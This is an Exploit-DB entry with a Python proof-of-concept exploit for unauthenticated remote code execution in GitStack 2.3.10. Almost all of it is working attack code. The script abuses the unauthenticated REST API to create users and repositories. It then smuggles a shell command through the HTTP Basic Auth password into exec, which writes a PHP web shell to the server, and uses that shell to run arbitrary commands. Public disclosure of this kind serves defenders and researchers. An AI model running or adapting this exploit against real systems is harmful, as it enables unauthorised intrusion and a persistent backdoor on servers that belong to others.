GitStack 2.3.10 - Unauthenticated Remote Code Execution

EDB-ID: 43777
Author: Kacper Szurek
Published: 2018-01-18
CVE: N/A
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 # Date: 18.01.2018 
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
#
#1. Description
#
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
#
#2. Proof of Concept
#
import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = '192.168.1.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
try:
r = requests.get("http://{}/rest/user/".format(ip))
user_list = r.json()
user_list.remove('everyone')
except:
pass

if len(user_list) > 0:
username = user_list[0]
print "[+] Found user {}".format(username)
else:
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
print "[+] Create user"

if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit(0)

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os._exit(0)

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
repository = repository_list[0]['name']
print "[+] Found repository {}".format(repository)
else:
print "[+] Create repository"

r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
print "[-] Cannot create repository"
os._exit(0)

print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os._exit(0)

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os._exit(0)

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')

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